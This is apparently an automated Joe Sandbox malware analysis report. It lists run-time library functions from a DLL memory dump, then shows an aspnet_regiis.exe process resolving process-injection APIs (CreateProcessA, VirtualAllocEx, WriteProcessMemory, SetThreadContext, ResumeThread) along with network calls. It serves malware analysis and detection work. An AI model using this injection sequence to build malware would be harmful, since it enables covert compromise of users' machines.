__dosmaperr.LIBCMT ref: 6E8127A6

Strings

}mH, xrefs: 6E81277B

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: ErrorFileLastModuleName__dosmaperr
String ID: }mH
API String ID: 4076908705-246349140
Opcode ID: 652e794955f2d848ce1931888376846d06d580b25a42485f6ada445a8f44f91e
Instruction ID: 6c6a12cc7945e99df00f060b9895641df84e5b57fce400710123da52781d09f2
Opcode Fuzzy Hash: 652e794955f2d848ce1931888376846d06d580b25a42485f6ada445a8f44f91e
Instruction Fuzzy Hash: 45111B7194421EAFDF60DFA8DC49BDE77B8AB19304F104899E40DE7240EB749A84CF94

Function 6E80F094 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,6E80F045,00000000,?,00000001,?,?,?,6E80F134,00000001,FlsFree,6E81A5C8,FlsFree), ref: 6E80F0A1
GetLastError.KERNEL32(?,6E80F045,00000000,?,00000001,?,?,?,6E80F134,00000001,FlsFree,6E81A5C8,FlsFree,00000000,?,6E80EB91), ref: 6E80F0AB
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 6E80F0D3

Strings

api-ms-, xrefs: 6E80F0B8

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: e351df61367703ed343cdaf81510a4db67d5f07c5944085d5c8b12ca19cfdcea
Instruction ID: 78d633d442c13887f58e8d553f34de006a2f97da93d33fc84deeaed6219b1b10
Opcode Fuzzy Hash: e351df61367703ed343cdaf81510a4db67d5f07c5944085d5c8b12ca19cfdcea
Instruction Fuzzy Hash: DDE04F70248206BBEF501AE0DC06B993F79AB11B54F208860F90CA88D0D761A614C588

Function 6E80F215 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6E80F2DC
___AdjustPointer.LIBCMT ref: 6E80F2FF
___AdjustPointer.LIBCMT ref: 6E80F39B

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 11795dc27f62b734cc1052bb2ab666a5f4f042e2c444b41412dbeb2f13f169ba
Instruction ID: 63424a12ea6eaa841e6930e8a8325a6adb5709954b391157171dc974f50e6e07
Opcode Fuzzy Hash: 11795dc27f62b734cc1052bb2ab666a5f4f042e2c444b41412dbeb2f13f169ba
Instruction Fuzzy Hash: D051E072605206DFEB198FD4DC50BAA73A8FF21324F218D2DE8255B2A0E731E841C798

Function 6E811E8D Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6E813241: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6E81539F,?,00000000,-00000008), ref: 6E8132A2

GetLastError.KERNEL32 ref: 6E811EF1
__dosmaperr.LIBCMT ref: 6E811EF8
GetLastError.KERNEL32(?,?,?,?), ref: 6E811F32
__dosmaperr.LIBCMT ref: 6E811F39

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 8473bd51adc4c07497cb7dda8cd275253fd19d73765af85a54d5810adb4bc912
Instruction ID: d09b5d9f318558c15ba918a9e6bdd39ea961250c824e83ef6fbeef714f0c4954
Opcode Fuzzy Hash: 8473bd51adc4c07497cb7dda8cd275253fd19d73765af85a54d5810adb4bc912
Instruction Fuzzy Hash: DC21957160C61BAFDB509FEAC8809DBB7BDFF113687008D58E81897690EB35EC148B91

Function 6E8132E4 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6E8132EC

Part of subcall function 6E813241: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6E81539F,?,00000000,-00000008), ref: 6E8132A2

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6E813324
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6E813344

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: adc30926ff7652216400503ee5f90b5c91efcc9c423aad20616ff078ecc7c458
Instruction ID: 462cf3dd5b550e53006f03a97998095a72c3c034645036b290c5b8462692416c
Opcode Fuzzy Hash: adc30926ff7652216400503ee5f90b5c91efcc9c423aad20616ff078ecc7c458
Instruction Fuzzy Hash: 4211D2B291DA1B7FAB0117FA6C8DCEF7A6CEE96A983120D64F804D1140FF24DD4185B5

Function 6E817006 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,6E8167C5,00000000,00000001,00000000,?,?,6E815CF3,?,00000000,00000000), ref: 6E81701D
GetLastError.KERNEL32(?,6E8167C5,00000000,00000001,00000000,?,?,6E815CF3,?,00000000,00000000,?,?,?,6E816296,00000000), ref: 6E817029

Part of subcall function 6E816FEF: CloseHandle.KERNEL32(FFFFFFFE,6E817039,?,6E8167C5,00000000,00000001,00000000,?,?,6E815CF3,?,00000000,00000000,?,?), ref: 6E816FFF

___initconout.LIBCMT ref: 6E817039

Part of subcall function 6E816FB1: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6E816FE0,6E8167B2,?,?,6E815CF3,?,00000000,00000000,?), ref: 6E816FC4

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,6E8167C5,00000000,00000001,00000000,?,?,6E815CF3,?,00000000,00000000,?), ref: 6E81704E

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 009dbfe3c601fa1b25bf5eb72fb948bc9ec4436d4de866b598ebe5acc9a88937
Instruction ID: df6b8a32f00fa0489e7b3654d0c2de92d3fe2b875244a38e056d84fec6c6965d
Opcode Fuzzy Hash: 009dbfe3c601fa1b25bf5eb72fb948bc9ec4436d4de866b598ebe5acc9a88937
Instruction Fuzzy Hash: 64F0153651555ABBCF121FD9CC08ECA3F66FB4A7A1F054858FE1D852A0DA328920EBD4

Function 6E812DE8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

Part of subcall function 6E81291F: GetOEMCP.KERNEL32(00000000,?,?,00000000,?), ref: 6E81294A

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,6E812C2F,?,00000000,?,00000000,?), ref: 6E812E49
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,6E812C2F,?,00000000,?,00000000,?), ref: 6E812E85

Strings

}mH, xrefs: 6E812DF0

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID: }mH
API String ID: 546120528-246349140
Opcode ID: bb66b4b9b2d74bc56a0c7eb7e80e3561675cc94881b42d8c0bd3582777c4082b
Instruction ID: 9bb11c05c682d2e2aa1f730056ab33df9bc999bf9b32b2f703d96aaf0dc9c35f
Opcode Fuzzy Hash: bb66b4b9b2d74bc56a0c7eb7e80e3561675cc94881b42d8c0bd3582777c4082b
Instruction Fuzzy Hash: 4E51F47090868B4FE720CFA9C850AEBBBF5EF47304F10496ED09597291E7789545EB90

Function 6E804D70 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 119COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6E804E72

Strings

string too long, xrefs: 6E804E69, 6E804EF6

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_
String ID: string too long
API String ID: 909987262-2556327735
Opcode ID: aa82e61f11f4fa8b9317a7254ab965004cf993eb35dc86284a91d9195c040d63
Instruction ID: 460c73765812001b0fcd5cf5013df8c5b278a0c6631609a2fed7f0ffd2c3c623
Opcode Fuzzy Hash: aa82e61f11f4fa8b9317a7254ab965004cf993eb35dc86284a91d9195c040d63
Instruction Fuzzy Hash: 2141F875A846458FCF01CEFDC8E53DE7BE2A7A3325F105E19C8319B395C23A510A8B41

Function 6E80F811 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 6E80F836

Strings

MOC, xrefs: 6E80F848
RCC, xrefs: 6E80F850

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: f6eb4f3f8139d210d2109bc95a74e032f30865fa9abdc28e0fcf7f66ba4d78e0
Instruction ID: f360ecb3a3e239e5eea3775275b3d07f9554b391d537b5407dba39c21164c03a
Opcode Fuzzy Hash: f6eb4f3f8139d210d2109bc95a74e032f30865fa9abdc28e0fcf7f66ba4d78e0
Instruction Fuzzy Hash: 4D415872A0020AAFDF06CFD8CC81AEEBBB6BF58304F248859F914B6264D335D951DB55

Function 6E815F71 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,00000000,?,00000000,6E81630B,00000000,6E813F27,?,00000000,?,00000000,00000000,00000000,?,?), ref: 6E81605A
GetLastError.KERNEL32(6E81630B,00000000,6E813F27,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,6E814094,?), ref: 6E81608A

Strings

}mH, xrefs: 6E815F80

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID: }mH
API String ID: 442123175-246349140
Opcode ID: deb9d7dcaba948fd8dbb0581ff305c3ce5465142e051ef97f12031931b9fa185
Instruction ID: 4280336b5c69a8f91fc401c900a4744ac2197219abc3c9da1b69da3ec40aaf5e
Opcode Fuzzy Hash: deb9d7dcaba948fd8dbb0581ff305c3ce5465142e051ef97f12031931b9fa185
Instruction Fuzzy Hash: 5131967171421B9FEB14CFADCC91AEA73B9EB44304F1444A9E509E7290DB70ED80CB61

Function 6E815E88 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000000,?,?,6E8162F4,00000000,6E813F27,?,00000000,?,00000000), ref: 6E815F32
GetLastError.KERNEL32(?,6E8162F4,00000000,6E813F27,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,6E814094), ref: 6E815F58

Strings

}mH, xrefs: 6E815E97

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID: }mH
API String ID: 442123175-246349140
Opcode ID: 54145c4936b2d37a21aaa23ff8a2c3df7d21259bca66fab8272a8ef7285a42fc
Instruction ID: 5bc27a0e99f001b0dfb2e151ba6fe687bec52f5a3722f0624eda548c8470837e
Opcode Fuzzy Hash: 54145c4936b2d37a21aaa23ff8a2c3df7d21259bca66fab8272a8ef7285a42fc
Instruction Fuzzy Hash: CF218031A0431A9FDB24CF59CC819DAB3B9FF49314F1448AAE91AD7250D730EE81CBA1

Function 6E815DAD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000000,?,?,6E81631F,00000000,6E813F27,?,00000000,?,00000000), ref: 6E815E49
GetLastError.KERNEL32(?,6E81631F,00000000,6E813F27,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,6E814094), ref: 6E815E6F

Strings

}mH, xrefs: 6E815DBC

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID: }mH
API String ID: 442123175-246349140
Opcode ID: dc540b4e5657c4f216e39d482df19f5b4e40ae20742d0412644aca4665d829b9
Instruction ID: 799ff64fe58996d41dc95b3aa684d7e45f7f5694c31d1e5a41050e9db02be610
Opcode Fuzzy Hash: dc540b4e5657c4f216e39d482df19f5b4e40ae20742d0412644aca4665d829b9
Instruction Fuzzy Hash: 5021A134A0861A9FDB15CF69CC809DDB7BAFB49305F1444AAE90AD7251D730EE42CFA1

Function 6E80B8F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 6E80BCFA
___raise_securityfailure.LIBCMT ref: 6E80BDE2

Strings

}mH, xrefs: 6E80BDC3

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: }mH
API String ID: 3761405300-246349140
Opcode ID: 15025a216d3f5a4efd1e0b521aecfeeef5f34362f4c6229d1d2f4bfce570f017
Instruction ID: ee0c6cd3ae3824fa4a21a6f937250f4fe64e451e11422dd4ab442c613063dd32
Opcode Fuzzy Hash: 15025a216d3f5a4efd1e0b521aecfeeef5f34362f4c6229d1d2f4bfce570f017
Instruction Fuzzy Hash: 2721DFB5596B019EFB50CF5DEA92B423BA4BB4B754F10442AED4D8ABD0F3B05880CB81

Analysis Process: aspnet_regiis.exePID: 5576, Parent PID: 2960COMMON

Execution Graph

Execution Coverage:	4.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	30

Executed Functions

Function 00418950 Relevance: 231.5, APIs: 121, Strings: 11, Instructions: 518
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,004172CA), ref: 00418964
GetProcAddress.KERNEL32 ref: 0041897B
GetProcAddress.KERNEL32 ref: 00418992
GetProcAddress.KERNEL32 ref: 004189A9
GetProcAddress.KERNEL32 ref: 004189C0
GetProcAddress.KERNEL32 ref: 004189D7
GetProcAddress.KERNEL32 ref: 004189EE
GetProcAddress.KERNEL32 ref: 00418A05
GetProcAddress.KERNEL32 ref: 00418A1C
GetProcAddress.KERNEL32 ref: 00418A33
GetProcAddress.KERNEL32 ref: 00418A4A
GetProcAddress.KERNEL32 ref: 00418A61
GetProcAddress.KERNEL32 ref: 00418A78
GetProcAddress.KERNEL32 ref: 00418A8F
GetProcAddress.KERNEL32 ref: 00418AA6
GetProcAddress.KERNEL32 ref: 00418ABD
GetProcAddress.KERNEL32 ref: 00418AD4
GetProcAddress.KERNEL32 ref: 00418AEB
GetProcAddress.KERNEL32 ref: 00418B02
GetProcAddress.KERNEL32 ref: 00418B19
GetProcAddress.KERNEL32 ref: 00418B30
GetProcAddress.KERNEL32 ref: 00418B47
GetProcAddress.KERNEL32 ref: 00418B5E
GetProcAddress.KERNEL32 ref: 00418B75
GetProcAddress.KERNEL32 ref: 00418B8C
GetProcAddress.KERNEL32 ref: 00418BA3
GetProcAddress.KERNEL32 ref: 00418BBA
GetProcAddress.KERNEL32 ref: 00418BD1
GetProcAddress.KERNEL32 ref: 00418BE8
GetProcAddress.KERNEL32 ref: 00418BFF
GetProcAddress.KERNEL32 ref: 00418C16
GetProcAddress.KERNEL32 ref: 00418C2D
GetProcAddress.KERNEL32 ref: 00418C44
GetProcAddress.KERNEL32 ref: 00418C5B
GetProcAddress.KERNEL32 ref: 00418C72
GetProcAddress.KERNEL32 ref: 00418C89
GetProcAddress.KERNEL32 ref: 00418CA0
GetProcAddress.KERNEL32 ref: 00418CB7
GetProcAddress.KERNEL32 ref: 00418CCE
GetProcAddress.KERNEL32 ref: 00418CE5
GetProcAddress.KERNEL32 ref: 00418CFC
GetProcAddress.KERNEL32 ref: 00418D13
GetProcAddress.KERNEL32 ref: 00418D2A
GetProcAddress.KERNEL32(CreateProcessA), ref: 00418D40
GetProcAddress.KERNEL32(GetThreadContext), ref: 00418D56
GetProcAddress.KERNEL32(ReadProcessMemory), ref: 00418D6C
GetProcAddress.KERNEL32(VirtualAllocEx), ref: 00418D82
GetProcAddress.KERNEL32(ResumeThread), ref: 00418D98
GetProcAddress.KERNEL32(WriteProcessMemory), ref: 00418DAE
GetProcAddress.KERNEL32(SetThreadContext), ref: 00418DC4
LoadLibraryA.KERNEL32(004172CA), ref: 00418DD5
LoadLibraryA.KERNEL32 ref: 00418DE6
LoadLibraryA.KERNEL32 ref: 00418DF7
LoadLibraryA.KERNEL32 ref: 00418E08
LoadLibraryA.KERNEL32 ref: 00418E19
LoadLibraryA.KERNEL32 ref: 00418E2A
LoadLibraryA.KERNEL32 ref: 00418E3B
LoadLibraryA.KERNEL32 ref: 00418E4C
LoadLibraryA.KERNEL32(dbghelp.dll), ref: 00418E5C
GetProcAddress.KERNEL32(751E0000), ref: 00418E77
GetProcAddress.KERNEL32 ref: 00418E8E
GetProcAddress.KERNEL32 ref: 00418EA5
GetProcAddress.KERNEL32 ref: 00418EBC
GetProcAddress.KERNEL32 ref: 00418ED3
GetProcAddress.KERNEL32(738C0000), ref: 00418EF2
GetProcAddress.KERNEL32 ref: 00418F09
GetProcAddress.KERNEL32 ref: 00418F20
GetProcAddress.KERNEL32 ref: 00418F37
GetProcAddress.KERNEL32 ref: 00418F4E
GetProcAddress.KERNEL32 ref: 00418F65
GetProcAddress.KERNEL32 ref: 00418F7C
GetProcAddress.KERNEL32 ref: 00418F93
GetProcAddress.KERNEL32(753A0000), ref: 00418FAE
GetProcAddress.KERNEL32 ref: 00418FC5
GetProcAddress.KERNEL32 ref: 00418FDC
GetProcAddress.KERNEL32 ref: 00418FF3
GetProcAddress.KERNEL32 ref: 0041900A
GetProcAddress.KERNEL32(76310000), ref: 00419029
GetProcAddress.KERNEL32 ref: 00419040
GetProcAddress.KERNEL32 ref: 00419057
GetProcAddress.KERNEL32 ref: 0041906E
GetProcAddress.KERNEL32 ref: 00419085
GetProcAddress.KERNEL32 ref: 0041909C
GetProcAddress.KERNEL32(76910000), ref: 004190BB
GetProcAddress.KERNEL32 ref: 004190D2
GetProcAddress.KERNEL32 ref: 004190E9
GetProcAddress.KERNEL32 ref: 00419100
GetProcAddress.KERNEL32 ref: 00419117
GetProcAddress.KERNEL32 ref: 0041912E
GetProcAddress.KERNEL32 ref: 00419145
GetProcAddress.KERNEL32 ref: 0041915C
GetProcAddress.KERNEL32 ref: 00419173
GetProcAddress.KERNEL32(75B30000), ref: 0041918E
GetProcAddress.KERNEL32 ref: 004191A5
GetProcAddress.KERNEL32 ref: 004191BC
GetProcAddress.KERNEL32 ref: 004191D3
GetProcAddress.KERNEL32 ref: 004191EA
GetProcAddress.KERNEL32(75670000), ref: 00419205
GetProcAddress.KERNEL32 ref: 0041921C
GetProcAddress.KERNEL32(76AC0000), ref: 00419237
GetProcAddress.KERNEL32 ref: 0041924E
GetProcAddress.KERNEL32(6F4E0000), ref: 0041926D
GetProcAddress.KERNEL32 ref: 00419284
GetProcAddress.KERNEL32 ref: 0041929B
GetProcAddress.KERNEL32 ref: 004192B2
GetProcAddress.KERNEL32 ref: 004192C9
GetProcAddress.KERNEL32 ref: 004192E0
GetProcAddress.KERNEL32 ref: 004192F7
GetProcAddress.KERNEL32 ref: 0041930E
GetProcAddress.KERNEL32(HttpQueryInfoA), ref: 00419324
GetProcAddress.KERNEL32(InternetSetOptionA), ref: 0041933A
GetProcAddress.KERNEL32(75AE0000), ref: 00419355
GetProcAddress.KERNEL32 ref: 0041936C
GetProcAddress.KERNEL32 ref: 00419383
GetProcAddress.KERNEL32 ref: 0041939A
GetProcAddress.KERNEL32(76300000), ref: 004193B5
GetProcAddress.KERNEL32(6CCC0000), ref: 004193D0
GetProcAddress.KERNEL32 ref: 004193E7
GetProcAddress.KERNEL32 ref: 004193FE
GetProcAddress.KERNEL32 ref: 00419415
GetProcAddress.KERNEL32(6CAD0000,SymMatchString), ref: 0041942F

Strings

HttpQueryInfoA, xrefs: 00419314
SymMatchString, xrefs: 00419429
InternetSetOptionA, xrefs: 0041932A
GetThreadContext, xrefs: 00418D46
ResumeThread, xrefs: 00418D88
SetThreadContext, xrefs: 00418DB4
WriteProcessMemory, xrefs: 00418D9E
VirtualAllocEx, xrefs: 00418D72
ReadProcessMemory, xrefs: 00418D5C
dbghelp.dll, xrefs: 00418E52
CreateProcessA, xrefs: 00418D30

Memory Dump Source

